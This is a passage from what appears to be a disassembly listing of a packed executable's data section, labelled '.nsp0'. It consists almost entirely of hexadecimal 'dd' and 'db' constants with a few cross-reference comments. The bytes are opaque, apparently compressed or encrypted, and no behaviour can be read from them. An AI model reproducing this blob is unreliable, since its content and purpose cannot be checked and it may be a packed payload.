34378F92h, 0C6EF20A7h, 253D5B99h, 92FACBB5h, 62A3C270h dd 5FAEE25Ch, 74DA67FDh, 140BFD10h, 0BED39F38h, 82419FE3h dd 0A69CF019h, 164FE98Dh, 71733615h, 0BBE6AB2Dh, 90AAC05h dd 38CD4AC2h, 3617DAEEh, 40FF609Ah, 256ADB56h, 680C9E08h dd 0EDBCC024h, 9207B731h, 5F385BCBh, 5B9433C1h, 8317C5E3h dd 21A25B31h, 2D3168AFh, 89D8CAAh, 0F9C4E4B5h, 3A85B579h dd 3B1CE180h, 7FF959F8h, 59C385C7h, 5A8C70FBh, 54B78873h dd 63437CA5h, 0CDD894E8h, 7059165Ch, 280893EFh, 6F01AE86h dd 268099Bh, 4486F16Ch, 59D36761h, 7A787ACBh, 0EA03C928h dd 0FD2E3F79h, 8B3AB76Ah, 9D3F82CAh, 241D6F6Eh, 0A67964B1h dd 0FEC6E856h, 84F7D4E0h, 0C0C29D50h, 0F543556Bh, 8F216E73h dd 3282AB36h, 0E55B03E8h, 8745D4B6h, 0E57A2B19h, 0E0AC4D63h dd 20BA5D3Dh, 0A88750D3h, 970D0BD0h, 32F56814h, 16AC3750h dd 47457BECh, 18FB29A5h, 0F5F2EA60h, 61162CA1h, 0DA4C4D95h dd 93F5F8C4h, 4451E13Ah, 114DF567h, 2CAA3000h, 6E7ED335h dd 0C680B381h, 97F241BEh, 4944EB71h, 543298F1h, 17E92ACDh dd 6CBD3D3Ch, 0BA118726h, 0B68889DEh, 0D43DC703h, 0DA78D47Ah dd 5347B771h, 4AD351DBh, 0CD7EC88Dh, 0A7DB2812h, 0FA8A6111h dd 0B368CBDFh, 31A208A8h, 0D801772h, 0D8CCD816h, 0A7C13B7Eh dd 2FEF3A5Fh, 4CA93508h, 896D03FAh, 6821DE53h, 58EF9EFAh dd 0ED0112FFh, 461E6E87h, 2F74F9DBh, 9990A77Bh, 7C5CB0AFh dd 3A635624h, 0FC85143h, 112DD450h, 0E1FBC5EFh, 5850E6D1h dd 58A1A29Bh, 21DC18Eh, 279BE3F9h, 57603B15h, 54F9262Fh dd 0B1F7B862h, 0ACBB8888h, 0B3B263D5h, 44F01745h, 0D35CFF2Eh dd 5AA44568h, 0A0BC503Fh, 1D10D592h, 54C84391h, 0CA3BF5D4h dd 0BBEAE38Bh, 0BD79C2B1h, 0F7CF4C0Bh, 79D58CDAh, 12E3B04Bh dd 70830CFCh, 7ACFAD58h, 8A1735C1h, 4D51053Ch, 0BBE6BFA8h dd 3FB33193h, 4FC57A76h, 0E11EC08Fh, 545145F1h, 0F873316Eh dd 0BD706C6Eh, 0DA9F5E4Bh, 147D3290h, 20A83DE5h, 0EC16ECF1h dd 503AA124h, 41508895h, 0F3CE0A57h, 5FE8A813h, 0E476CC45h dd 7E23D949h, 6C24582Eh, 6DB69AF5h, 540F44B4h, 0AFBD003Fh dd 0C7D236C0h, 2060DEC6h, 856E0117h, 0E52A15CDh, 7EB3AB28h dd 0ED662BE6h, 0A37645F2h, 0BE51AF17h, 0F4FD4948h, 3C72D397h dd 158BF09Dh, 3F2AF863h, 0D2F2AE74h, 0BB8ED172h, 5BFEAA6h dd 0E9CD24F2h, 3D89BE6Fh, 32A435BFh, 5D0CD725h, 0A42EA4A7h dd 28E71E5Ah, 0AED96868h, 0DB444D18h, 7A67742Fh, 6AF6380h dd 89AD1CA6h, 2391A781h, 4B343337h, 43605126h, 0A25C2D63h dd 704FF7B2h, 1D2D6BE0h, 0C74922CCh, 0F40EDF1Fh, 0B96F3EFBh dd 0F22A226Bh, 7F351B9Dh, 86E98AE1h, 2E6A475h, 4EC08453h dd 3BBDBE04h, 12F79EC7h, 5865C71h, 8DD326D0h, 0DAE4F3B9h dd 0D33A83E5h, 0A8F29A3Ch, 0C8B33675h, 8A22A46Fh, 3A1521AAh dd 0DFCFFC85h, 38CE1D17h, 910B8641h, 0BF7BB15Dh, 456EEC2Dh dd 69F6B76Bh, 1351AB9Ch, 96FEF78Eh, 54F89FDCh, 4AD46A76h dd 0A0FA95F6h, 7577AA87h, 0FE5390B1h, 17136CDDh, 1529972Ch dd 43D2D914h, 0D51B1582h, 0D032136Fh, 4E023C38h, 9FC30009h dd 0AA89F71Bh, 0E721BD04h, 23F206E2h, 0B66063FAh, 5970A008h dd 212B9C9Eh, 8480825Ch, 6173E1C0h, 0E688AD57h, 75585F01h dd 0D322D3B0h, 6C2A52BCh, 26F82EE3h, 7B615E8Ah, 4F4FD17Dh dd 0B5046257h, 0A6544F98h, 0CEE616A3h, 0C4CB3AFAh, 51430B5Ch dd 0DF7C2C6Eh, 8BB5DA16h, 755F3DC3h, 0F111EA04h, 95C0D706h dd 15971E6Dh, 7371FC09h, 8A51F9B4h, 1D44E4ECh, 0C51496F5h dd 732A1CD5h, 5220DA57h, 6F871ADFh, 79C34B5Dh, 0B9703DCEh dd 83872C6Dh, 6A8D206Dh, 0C645A2C9h, 34D07386h, 0EEE90531h dd 99F21EA5h, 8F10C084h, 0FED37588h, 7380573Bh, 7AC3462Fh dd 0A29525EBh, 93E1FF7Ch, 0C00C0108h, 0B29B0833h, 97A0A63Bh dd 3CD87EDDh, 0CDF844A1h, 0AF9CDA3Ch, 0BB227DB9h, 1936F55Fh dd 144B8BD5h, 1DADFA07h, 2E2F4EE8h, 305B836Ch, 80BAEC61h dd 0F8837DD5h, 0CEC5014Dh, 4869B907h, 0B2E22D46h, 0D4348DAFh dd 3DCBE623h, 890AFA8Ah, 6459F617h, 0A3AF30CCh, 621880FBh dd 43CD725Bh, 1F1F44D3h, 7E8D3291h, 35D93EA0h, 0A266EEB5h dd 9CA3D6B4h, 50DC7372h, 940B38FDh, 0F3D2909Ah, 4E2B3B49h dd 0A95F00D2h, 0F4E62FE8h, 0B3D8B3D3h, 0BBC5A77Fh, 142DD823h dd 0E67B2B7Bh, 2AB9E2FBh, 0EF69B24Bh, 0F4620874h, 0E3C9D6E0h dd 4EE74C80h, 0B39D6CFDh, 55ABDCE8h, 61131A16h, 15C3E56Dh dd 0CA713BCEh, 0ABD6F642h, 79100788h, 9B8663E9h, 8FEF127Ah dd 93AA8BE4h, 6BD18DF7h, 3A235485h, 0DFE74D21h, 29F5E9A5h dd 74F197Ch, 351079D4h, 3832DE71h, 5AC3FA08h, 62562948h dd 0D5A1AA87h, 3D53D2E7h, 73E67FD0h, 5742CD20h, 0F304E6E9h dd 927C1459h, 0BC524FF9h, 2DA59D75h, 2334ADDFh, 33C8F16h dd 0CD3A47A4h, 90E53A2Ah, 0BE37E6Bh, 69D99A78h, 6B33A4F6h dd 0B195BED3h, 5C8D6A1Ch, 25CC390h, 8607131Eh, 6C8FD51Ch dd 0C6C30AEDh, 6C88EFB9h, 15BC5BB6h, 0B252A9B0h, 3AF3B28Ah dd 0B714F430h, 3AC0022Eh, 0A7BBC7E5h, 7DAB5303h, 0CAF8A14Ah dd 0A5F124A2h, 65BEF96Fh, 0E8E25858h, 0C0977C17h, 787B42A9h dd 1068C3D5h, 168E3C3Dh, 784AC5BBh, 19834356h, 87CFBED3h dd 72323739h, 333FCC4h, 2C31A7A8h, 0F9480098h, 36D6B736h dd 4ECAABC2h, 0A8394296h, 117A4C33h, 3EE82005h, 9508D591h dd 367FD595h, 0C9AA9154h, 0D42A3A46h, 740C05BAh, 9BA46C63h dd 5E1CE070h, 49B8095Ah, 30DEC30Bh, 0CEC74133h, 6490D134h dd 0EC4FAAE7h, 0EA1F129Ch, 2ADC3797h, 0FEE400E0h, 74F572F2h dd 3FF004BEh, 0ABD37E6h, 1D384626h, 14D8C399h, 5EEAB275h dd 90484A0Ah, 0B5D232FBh, 0EFFBC992h, 4AC7A7FAh, 0D50A66D2h dd 4EF42DE9h, 6F1DDCB9h dd 665AD6DBh, 8E96058Ch, 431BDC8Ah, 0B97ED0A5h, 27579405h dd 450FBC64h, 379F5733h, 0F626F46Ah, 0DF14A3A7h, 0F6DCEDFBh dd 0FCAF7D05h, 0CC54B53Fh, 98D1357Eh, 0A2988CD5h, 0E738EB19h dd 60CF058h, 848F52FEh, 0EC98BF9Ah, 92C97059h, 23BC372h dd 2FB6B7BCh, 9108176Dh, 5FACB414h, 798A93F3h, 0BBF46310h dd 301ADA67h, 7BBA98BAh, 0E5EE42Ah, 0E72D931Bh, 3A3EBD3Bh dd 6D659DE6h, 0C9847EF0h, 8F3883A8h, 8A7EE1ADh, 0F8089B0Dh dd 45DE8CD5h, 439A34D2h, 0E998CE42h, 7972E23h, 0AE0B0ADCh dd 51BE9F70h, 4DAC9284h, 707B9C9Eh, 0F12EE498h, 7219AE90h dd 0D9E90B9Ah, 318E763Fh, 0C24F0EA2h, 0A64242B3h, 0F308AC6Eh dd 0FFAEAF15h, 0DD04B41Bh, 27083C55h, 0C3005AAAh, 2386940Eh dd 2D6E52ABh, 12C43534h, 0E80BD2B7h, 0EACB21AAh, 53F98397h dd 0CED26831h, 54C48424h, 45F859CFh db 44h, 0DEh, 4Ch byte_53004B db 0BBh ; DATA XREF: .nsp0:0043934Do ; .nsp0:00439B5Do dd 0A76FA8B9h, 7736546Fh db 0E2h byte_530055 db 3Bh, 1Fh, 0F9h ; DATA XREF: .nsp0:off_43FD0Co ; .nsp0:off_43FD24o dd 0CB195D50h, 9C27F4DEh, 0BFC2959Ah, 0E1A65AA1h, 0AD43FC1Bh dd 0C761E47Bh, 0F165D9E9h, 4A864D28h, 9FAC4722h, 9C5DB0CFh dd 3796F469h, 93250A0Ch, 112DA6B9h, 7F66F7A5h, 3074D89h dd 10ECA9B7h, 0AF331C95h, 71C22606h, 9D41DB3Dh, 33BFD5B4h dd 0A5421E1Bh, 45D10586h, 0CB1A5A1Ch, 4B8E6CA4h, 0F6657EE6h dd 0B3C0D3CAh, 7E99C4CBh, 0C9C479EDh, 145F0DA0h, 3A650C9Fh dd 12678C1Ch, 0A72CF80Fh, 141FF1F9h, 20518786h, 0F7A57500h dd 78F2C8C0h, 7EBAB6CDh, 0CEED165Eh, 7F80FFDCh, 7992A3ADh dd 0D6E3729Dh, 0BD005571h, 0F142F9A8h, 0A03A1276h, 0D30D562Ch dd 0D3EFC2D3h, 297B36D6h, 4905A1D1h, 0A1DE737Eh, 0CE33C0F7h dd 8507B976h, 219A4D91h, 0DA360FBAh, 448C8FFh, 24F54729h dd 80709498h, 77D5D57Fh, 59293E54h, 0CAFD73D0h, 0BFFD072Ah dd 16E6BB6Fh, 688A4BCEh, 0D7BDFFF0h, 8E161C1Dh, 0C7024EF3h dd 0A62BF4D7h, 0DE3F3677h, 13FC23EEh, 46718441h, 8F006CC7h dd 87861CBBh, 0FEA17009h, 38465C02h, 0F53CEDF3h, 0C42B8696h dd 0AB802A55h, 0D3AB48C6h, 0A855541Eh, 206EFDAh, 0FB86745Ch dd 0AA2CC792h, 41D3FDD8h, 6F8B0DA1h, 822EB6FFh, 5D9CF143h dd 789B7397h, 23372BC0h, 66EB45E8h, 3CE90E8Dh, 5B1E6EA3h dd 0B6A1C327h, 0B31A16AFh, 0FC5B98F6h, 0EEBC05BBh, 92DD101Ch dd 59033E93h, 0CBD6Bh, 899D32B1h, 3969BBF1h, 0D7670734h dd 6FB74B8h, 43101C86h, 5E8E0AA8h, 3BF7AEA6h, 40F55163h dd 1F34300Ah, 242933F0h, 2C956324h, 0AD0A131Eh, 177FB4A5h dd 0B277571Fh, 88ECB0CCh, 0B5577E38h, 0B7391985h, 0CA9ADAC7h dd 2EC53201h, 0C5859732h, 219840B4h, 21C9674Fh, 7425CCFCh dd 0FBB90505h, 0D1AA8DC2h, 82B496C0h, 4391FFBDh, 0FF7343F2h dd 0FF9865B0h, 88AE3D01h, 0FD800F6Dh, 3BA0CE41h, 0C4505BF3h dd 60069B1Dh, 0A4D665C5h, 953F4B65h, 65EB7AB1h, 0BCAE84Eh dd 23FFFABDh, 0DA98134Eh, 63B19720h, 9B4AB53Bh, 5E743A6Ah dd 71B4F2B7h, 97DF0E18h, 0D27385DDh, 83BE91C0h, 275A5C2Eh dd 8B46DDDDh, 1D50B7E1h, 279722B6h, 0D9D3F064h, 546EC352h dd 0F4A74AE9h, 0C3E802E9h, 9588FFE6h, 55E09DC2h, 0C427543Ah dd 0DC6A0BFFh, 9960260Ah, 0DE76CA89h, 31BDCCFDh, 7F63AA6Dh dd 0E1135C51h, 2D83FF5Fh, 707B6E0Bh, 594423E9h, 3855C4C8h dd 0AD11046Bh, 9927722Bh, 0F56A9FCAh, 37236F36h, 0A3708651h dd 0E7A32BAEh, 7A9DD163h, 93A7DEC8h, 0FAAC4F4h, 2027F174h dd 714EEF5Ah, 2C4B41EFh, 0BD3D106Ah, 619A1F1h, 0B4DD04A4h dd 0CD66295h, 85075B61h, 1D329BF8h, 482CC2h, 46B0ADBh dd 1422E2F0h, 584CC9Bh, 5183A468h, 0F9B07154h, 823E3125h dd 0E89A563Eh, 0E14C28EAh, 0EB24057Ah, 443EB115h, 731AB90Ah dd 70EBE747h, 0BF3F3329h, 79667C68h, 0F2346Ch, 3811C175h dd 928BB55Bh, 62C8C230h, 8C933BB1h, 823FBE7h, 0B30AB79Ch dd 0C6988CE8h, 0A79B9610h, 5BEE64AFh, 938733DDh, 98BB4AB9h dd 439B2C4Fh, 0EF757740h, 1495A7F1h, 48118236h, 79773BD8h dd 0C98140AAh, 2ADF4898h, 1A103352h, 35619BEh, 8257A937h dd 5FA55C3Dh, 3B65ADCDh, 0CFC05EAFh, 0DEA168D9h, 775FBC3Bh dd 0A5934247h, 6907BEBFh, 0B4F69A0Bh, 0BFE7C5DDh, 7C3F5D55h dd 60A9DA40h, 7141350Bh, 0CCD4A4EEh, 9231AFDEh, 0EB9A2D96h dd 234816D1h, 0C19D9753h, 0FF21E61Eh, 0BB8DC5E9h, 4E3764A5h dd 7669483Dh, 45DD11BCh, 2E876A61h, 18E0B5Fh, 8957EC2h dd 6E0B3522h, 7F26F542h, 3EE888B0h, 0DFDFC16h, 0EA69C5A0h dd 0C2CE82E8h, 9EAC2190h, 0C330EF5Fh, 573B9C43h, 0AE36FE1Ch dd 62D39CFh, 3E31CB21h, 0E947A8E8h, 4BACE972h, 91546D41h dd 0DC9CC115h, 11E9110Ch, 0EDF2E220h, 0FD4E18A6h, 1BEF6F91h dd 0E3F83BF4h, 0E3998426h, 0E6D27E35h, 6C6B19D3h, 1F49A06Dh dd 7A0F6999h, 6DE0F0D6h, 0B4911FD4h, 0F0F91DEBh, 0E50A07F4h dd 96CFF082h, 0F8AEA534h, 4795A63Fh, 9790CD69h, 0BAEE6D21h dd 1C8D7573h, 10DD4AABh, 3F3D3917h, 89CA0AABh, 18EF0231h dd 4910D263h, 0E4884D27h, 2FBE477Dh, 0A50B8EC0h, 4A20B6Bh dd 0FD29FDB7h, 0D1E2CB89h, 4A9F8E1Bh, 58FCB45h, 7F8C71E3h dd 701247E2h, 0D1E395BBh, 41F7DE32h, 9D23A960h, 38CAEBA7h dd 0B91410Bh, 0A324A992h, 83E700E0h, 0A9069EDEh, 5FC94910h dd 75C6D7D4h, 569D3h, 9BABDA1Ch, 0BE42EEA1h, 0C72EB065h dd 0C1FB0A2Fh, 0E4A3BB12h, 0BB2602DFh, 0CE8E9633h, 4A4E0F6Ch dd 6EF3C76Bh, 6BD374ACh, 30A1222Ch, 620AB88Dh, 0B751E7Ch dd 0AA40A3B6h, 0A9FADCDDh, 0FA2F60D4h, 3CDCB8E6h, 5F1FCAAh dd 84134D45h, 0F142EC74h, 7D888581h, 0B3DCCDB2h, 3CEA4D22h dd 1D07BCA2h, 82832D54h, 0E9BF4961h, 0E550AD89h, 0D4C1A9EBh dd 2F7EE146h, 25B141A2h, 79870FAFh, 0AA6118D8h, 0B2C2A00h dd 0D0BF038h, 2E4CA08Dh, 96275A1Ah, 0B9450830h, 0ADD6EB4Fh dd 0D9BBC9F5h, 0A1348E41h, 0E6602AD2h, 635B64EDh, 0A55FF72Dh dd 8B40EFF3h, 2F67C45Eh, 92951263h, 2C2E0B38h, 16D63851h dd 3F8F9286h, 5FFEA1ACh, 344BD7C7h, 0A192E2Fh, 4D0C2759h dd 29C01AC1h, 0C17BB469h, 0BD6F2C12h, 252288BDh, 749873D6h dd 274CA47Bh, 8D37FF18h, 32C9D961h, 382CE421h, 7062438h dd 1DAC8C87h, 0B069C99Fh, 0C8B72D20h, 0A8FFB4F0h, 0EC7ACA6Ch dd 1D17056Bh, 6CA4AA8Ch, 0AF653D1Dh, 0DD43BAD7h, 30AA6807h dd 0DAD8A441h, 1B943643h, 9036368Ah, 0A17B52AEh, 8F3FFBC4h dd 0BB5DC0EBh, 6920BC3Ch, 97D1C03Fh, 28DC7F9h, 10EFD77Dh dd 0D5A548F3h, 6CA61C4Fh, 4123F75Bh, 0C83EE5EEh, 71C5069Fh dd 0A59E636Fh, 0B11029C5h, 83E05701h, 0E4C1B33Ah, 0BF6259EFh dd 9F801B82h, 0AEB31DC7h, 3AB762B9h, 9CD8ECBFh, 9E4C4B14h dd 0F995AD02h, 0D5C7E33Eh, 7A4A7F16h, 3E85C995h, 0F362627Eh dd 0D18F55CCh, 35B36519h, 0CAE43BE6h, 0F522D912h, 0FF5CA190h dd 0B0DA95C0h, 24C3A032h, 87CCA55Ah, 60F71F1Eh, 0F1BA86C8h dd 0A1A78D57h, 4E3E556Dh, 0A263FCAAh, 0D149418Dh, 66B54809h dd 0FCBFA749h, 11EF1E85h, 0B370C5CBh, 0BF36B84h, 7ABC61A4h dd 285276E1h, 0C4BE971Fh, 0E5BCA0CBh, 0E6A13029h, 199083C3h dd 0A0ACE4C4h, 0C2864632h, 0DBDA6933h, 0AC3276FEh, 0A223AAA7h dd 7A477678h, 0B85CB19Ah, 70412E72h, 7BB1BFCBh, 9D2FAA5Eh dd 0F7ADA8B6h, 4F55D11Bh, 37A34D72h, 6825FF47h, 18CE1A2Ch dd 9BED7FCFh, 0D209D02Bh, 0D2CA22E5h, 0F87603C1h, 44513F91h dd 0A97F9CF2h, 0F89A457Fh, 1294BBBFh, 325E796Dh, 5B45119Ch dd 0FAC250A4h, 8BC367B3h, 6B7AE59Ah, 1918BFC7h, 2CE995E8h dd 68673C00h, 921ECCADh, 0C0454557h, 908C5153h, 9DDCC3D6h dd 4B4ECD94h, 6397D45Ch, 5A2025B0h, 9CA2E120h, 0D955DAC9h dd 26940207h, 366593C0h, 20DEC973h, 0ABB411E9h, 9DEDAE5Fh dd 91F9D3C4h, 79C59B44h, 7E060162h, 0A1532EB4h, 84B6C00Fh dd 0F91C6657h, 0EF412689h, 0A8A3D5DEh, 68B0771Dh, 96CFF841h dd 8E32F0EEh, 0D9418120h, 0DDBCCC96h, 5E783B64h, 4D478D08h dd 1FEE57F0h, 45132231h, 62108D5Fh, 0B0F171E8h, 1FA51DB9h dd 4178C0Eh, 6B8437E0h, 912981Dh, 777E60C9h, 3B2055Fh dd 0B19EA53Bh, 912A0367h, 0A218F12Ah, 99943F64h, 0D27762DCh dd 971D23EAh, 0ED231598h dd 1BBD0CD5h, 0F18D28A6h, 95E72719h, 4357B4DDh, 0BA710DF8h dd 1D654FC2h, 0BC736FBh, 6BAF3633h, 0EF8C19D3h, 98CE441Ch dd 3EF36BC3h, 99496B28h, 0F5360D7Dh, 0E1E9C63Ch, 0D903BBCBh dd 30197E54h, 7542DE39h, 7E1E2238h, 72674813h, 1F646D50h dd 0DE05B72Eh, 8E11AE01h, 0D5678044h, 63B03E56h, 3C69D12Fh dd 0B0C7ABh, 0ED4F6639h, 0EF7D66DBh, 5DEB40F7h, 0F3A82991h dd 6DA72BAEh, 0ADB88767h, 0B6C01069h, 706CE21h, 32DA3E53h dd 4A0D1047h, 4CBF484Ch, 0E73E294Dh, 439E3EAEh, 0A91791F5h dd 6C44BB3h, 1E6194EDh, 2D29B76h, 0FA1B7E72h, 5369558Ch dd 0FA9C6657h, 19481E3Ah, 0B4039643h, 0FF45784Dh, 0A24F3D56h dd 0DA282C74h, 0E3295BFDh, 0F482A2A9h, 730CDE8h, 0AD218013h dd 0B01A7F5h, 17613E1Dh, 78D79B0Ah, 0D729A299h, 6BF477B3h dd 0D09B6730h, 3C36FDC9h, 5D44BAF7h, 7773F7F0h, 503E3362h dd 2880FC9Bh, 0D066D443h, 17A6A210h, 6AB8B219h, 9E6BFC3Bh dd 0A19388D7h, 51D8EC4Ch, 295352F0h, 2ECDBCD4h, 8D5DFF7Bh dd 2D387939h, 85B2DE41h, 45A02CE7h, 132590D7h, 5B5ED8D8h dd 99EDC3CEh, 181963A7h, 560F150Bh, 671798AEh, 7CA09491h dd 0DEBA672Bh, 0B118B51Bh, 86C4A950h, 69A03C76h, 9AE12177h dd 33F83916h, 0A8310088h, 7E9BC371h, 0FCDD4C70h, 856EFDFDh dd 0B1AB83C3h, 0B04B2C77h, 3BCA43B6h, 0FD0AD545h, 198D20D8h dd 29D694E3h, 0FFF45177h, 80D63B1Ch, 0EE63D7C4h, 5D850CE0h dd 0D6C21C0Eh, 4EAEEE7h, 0C8E75458h, 4BEF9430h, 0DF3C2230h dd 0AF657199h, 8C9E5E1Bh, 652B9E57h, 0F4F4F58Eh, 134F92F5h dd 0A4F11978h, 5C9362BCh, 77601D84h, 5653D6A5h, 27D1293Ah dd 3F3A853Bh, 1A348DBCh, 3BFFCA6h, 8B68D1FDh, 0B628429Eh dd 2908A0F2h, 21FC2EDDh, 41998E4h, 1DEA8000h, 4FE5EC67h dd 118B0E1Dh, 0E1D67974h, 0E7F6991Eh, 0FCB830D4h, 367263A3h dd 0A308089h, 82C4D804h, 0A6500E92h, 1BF3AB2Ah, 0AE6F694Eh dd 263DD527h, 0B3FBB5A2h, 89DC91B3h, 0E7E9C038h, 91A4A9C9h dd 6107E888h, 9C010789h, 0B4DBE448h, 89705C80h, 0C6EE2E35h dd 0DBF9EAB6h, 6F8BE59Ah, 972A37C1h, 5C8D95C3h, 2820290Bh dd 6EBA231Dh, 0F5751227h, 92C5EB88h, 0F95C08EFh, 38626C85h dd 5CE8718Ch, 817A282Eh, 0FD57CFFDh, 0BE8139E6h, 764AC0D5h dd 7A89F0D3h, 0A4743579h, 3F1A4279h, 0D1FC5C40h, 0E87A8F45h dd 0D2D83A85h, 79F7101Dh, 565CF9FFh, 2E9654DAh, 79905DE1h dd 0BADE7B55h, 600F68ECh, 0A0AF16D2h, 94966342h, 0E0A7DACEh dd 782FDF64h, 855E5BF1h, 0A56A749Ah, 21C446Dh, 8B781CCCh dd 33BC98C1h, 844641ECh, 0E7C5BC32h, 1531F394h, 6C261354h dd 0A856220Eh, 6B38A260h, 0FE709070h, 0B77A0014h, 18BD7697h dd 0D49E3999h, 605CC7C7h, 2222CD58h, 3351DA22h, 0A18DC5CEh dd 0B671B940h, 25E0C551h, 362EAAC7h, 0E3936666h, 15E3B04Dh dd 2A5187F1h, 94A43469h, 87F14557h, 0B6F53306h, 18D2A44Fh dd 1664283Fh, 50F0CD9Eh, 0E0B57987h, 0EAB05915h, 961D7866h dd 0F9F1D681h, 9B6F5224h, 59AA4970h, 0CD85790Ah, 0CD8DD865h dd 339FAFh, 0A1596B87h, 0BD3B29E3h, 64F6A453h, 9D2335CFh dd 0C3234F68h, 5C59939Bh, 0C599513h, 78B8C1B1h, 0A886BEA4h dd 0E448C69Ch, 0C10A98A3h, 55366F30h, 0FB09F8B1h, 0C6ACEAD6h dd 0C2FF8B76h, 5F87E71Fh, 0E49B9909h, 0CE4EDD32h, 0D95E9376h dd 73B87496h, 5343F15h, 0B3AC1BD0h, 27BE39E6h, 7BB4924h dd 0E20E4D6Ch, 0D02E2DB1h, 0C7AD25Fh, 3F7E2C3Ch, 5B4A5112h dd 11E46D0h, 0C8E677ACh, 96898CABh, 0B80C10E4h, 1164DB34h dd 283DE0B4h, 5FD3F53Fh, 33483C37h, 0DFECA377h, 0CEFC955Bh dd 17FBFBC8h, 66C8338Ah, 34B05055h, 0E6D870A6h, 0D0480C41h dd 9EAABD11h, 4269F228h, 0F8CEBBD8h, 5F347A9Dh, 57A7879Dh dd 0C935EF5h, 3C7D3073h, 0A691FBDDh, 2B9FD88Ah, 212D8CB9h dd 0BED8B0DFh, 0CDF96C88h, 8FBEC91h, 6444E3A5h, 3F9EB181h dd 4C11156Ah, 0E55CD65h, 0E81BAE3h, 59E0CA58h, 9F54276Dh dd 0FEBEA97Dh, 0E7E7DB47h, 500676E8h, 0C7D43130h, 0F7FF5150h dd 1EF7A36Dh, 0B5D7891Eh, 0BA9344CCh, 11A8436Fh, 0A6F7AB2Eh dd 0F57B2BF2h, 0A1532076h, 0B9EC7005h, 4BA0A5F1h, 0C111D716h dd 0F6C07A07h, 2C510CE9h, 0F42B6690h, 0D907C906h, 81D3BE61h dd 0ED4B14C0h, 0A06F941Ah, 615F0B80h, 32C0E7F2h, 80E17E56h dd 29B8B65h, 9761BEBh, 8C2C3061h, 171E94C8h, 5FC5A687h dd 6E0C32Dh, 0EAA0E9B4h, 8FA7D6F7h, 0F6DCE741h, 0FC32D845h dd 0EED1E247h, 373A5F4Ch, 7209C420h, 289D374Ah, 0F3A6D755h dd 63C57A3Eh, 4655F499h, 39E3D881h, 563C00F8h, 22F92342h dd 0FDFBC1DAh, 0F7649896h, 0BD0F0A38h, 10D08BF1h, 0BA8ECAC7h dd 524F6896h, 8B92878Ah, 0BDBE40F5h, 2E118B76h, 601C90E3h dd 7A763719h, 159D2C2Dh, 496B841Bh, 0BDF8C878h, 78BA14C2h dd 83ED9908h, 534FD909h, 6757BEB5h, 1F4F271h, 605E1CDFh dd 679A5F73h, 8E9195DCh, 4059033Dh, 0D15AC021h, 617A5063h dd 4871CE29h, 397F364Ah, 0DC98EAB8h, 7F565C44h, 80CC210h dd 405CAF19h, 880FF6A5h, 2D6380B8h, 77D9C54h, 726E0219h dd 8CF5A723h, 0EAC0E28h, 2B3EFCBCh, 70137FE1h, 10DBAFF8h dd 908F2716h, 0B653B7E5h, 6D35355Fh, 0DF44893Bh, 0E9F03C0Fh dd 0D8AF997h, 80ED1919h, 0DD14C300h, 65F3367h, 0C08CFFB6h dd 254764D9h, 253D5B38h, 1F42F0DAh, 0BBAD2998h, 0D0388F99h dd 0C176F11Bh, 0F4AA8E29h, 0A1EA46A6h, 0A70D5E52h, 0DFFD405h dd 0B9FB0F31h, 236C5EDh, 1796D1A8h, 0D67BEB6Fh, 0E3719CC4h dd 91DB2C17h, 9920C0DFh, 82A0F4DCh, 94592C1Ah, 0F662C2Ah dd 0F7572D2Ah, 0EFB636A1h, 931B845Bh, 66441FF7h, 7322590Ah dd 68B8B4ABh, 24DD9FE0h, 90C258AEh, 81676F11h, 500CB1C9h dd 0DA116A97h, 0E100F158h, 47C00255h, 7DCCBEBFh, 6B4A0F45h dd 82976348h, 46612394h, 917E1D5Eh, 60A32617h, 8322B07Dh dd 47C308E4h, 0C4C10CF2h, 678FA158h, 0FA3E01F6h, 533A3E2Dh dd 58E5722Dh, 0AA74ECA2h, 81789B6h, 0C98254F3h, 30FB2665h dd 37633715h, 3FB254D5h, 6760C201h, 4CDAFEAFh, 85BA2566h dd 0C5623594h, 6FF740E9h, 0E6C5A2F0h, 11DAA567h, 64C678ABh dd 583F8732h, 4186F5DDh, 0D1D42FA8h, 24FDD462h, 35BD1D84h dd 0DBBC99F3h, 1BE8823h, 0A8F721Eh, 0C3A832F8h, 68077D59h dd 0A9D8C5E5h, 32B47AA2h, 1DB32CAEh, 0F179CF78h, 2C019A40h dd 0D69D057Bh, 2304AAB4h, 9ADBE476h, 679F40B5h, 5B2375F6h dd 35D30C4Fh, 0E39C9471h, 0D6536E2Bh, 2CB1F8D5h, 6D1A33F4h dd 0AA10274Ah, 95500777h, 134CD117h, 0E4F450B4h, 8AD93D6Eh dd 95845196h, 9A1638F5h, 40A2C0FFh, 92A240F5h, 0E74331D2h dd 0DA6E1F62h, 67FE0FD7h, 6B972FA6h, 0C60E277h, 5A4F54ABh dd 359B0171h, 648BC5F9h, 0E024A298h, 27DFB433h, 7AF04A46h dd 0EA606692h, 8BDF4A06h, 0D88332C2h, 6F7D6C22h, 0B7B2221Eh dd 36FAFBDDh, 2F34DAA2h, 0E8FD919h, 832866Dh, 0A545B6D3h dd 3FC52A6h, 0BCCE6FF2h, 4B05A2DFh, 853D17B8h, 5D3801DDh dd 40578997h, 7B31EC8h, 5F8FE373h, 808D5F33h, 0BB7D4284h dd 0D09A55AAh, 5C9C9F49h, 736B4BF6h, 253D3CDAh, 2A7C050Bh dd 44F5A3CDh, 46D7C18Dh dd 0CA28C308h, 0E8A1EA5Ch, 537E759Ch, 0CE181CEh, 0F05F79C5h dd 0EBF788E6h, 0AA2FD3EDh, 363F5FF9h, 0C315F29Ch, 469C7308h dd 0F9286A8Dh, 0B95F549Ah, 746CFD86h, 0A5402D68h, 9FA4464Bh dd 2D030B98h, 0CB168DACh, 0F64AB90Bh, 6CA2AA60h, 35C5BBCAh dd 143B619Dh, 16C8B9ADh, 0BB9A794Ah, 0DC68A31h, 24021037h dd 54C1BA32h, 0A63D7444h, 9C0D49B7h, 0F0FA592Dh, 3E99439h dd 0BD01A9F2h, 4620F962h, 65463502h, 6C9698ABh, 0ED72B619h dd 1E38046Eh, 10A84420h, 0DAC042E9h, 6E899CB5h, 0EF2EFA43h dd 9D988975h, 810BE251h, 95AC4785h, 0FC32E245h, 0E3883149h dd 0D369FF0Fh, 0FAA01C21h, 994C6F46h, 916D0945h, 7C856D1Bh dd 0E4C06192h, 70992D84h, 0AB71D4AFh, 4E85B6BEh, 0F023A1Bh dd 49FECEB8h, 0B81FD224h, 0EA28AE46h, 87940C5Bh, 59BA53A6h dd 0C549C557h, 0EC34AF63h, 0FA496EF5h, 0D16EAA53h, 937DA0A0h dd 3B500884h, 0A3AE5B24h, 0CA1EE2D7h, 7BCB2328h, 0D188061Eh dd 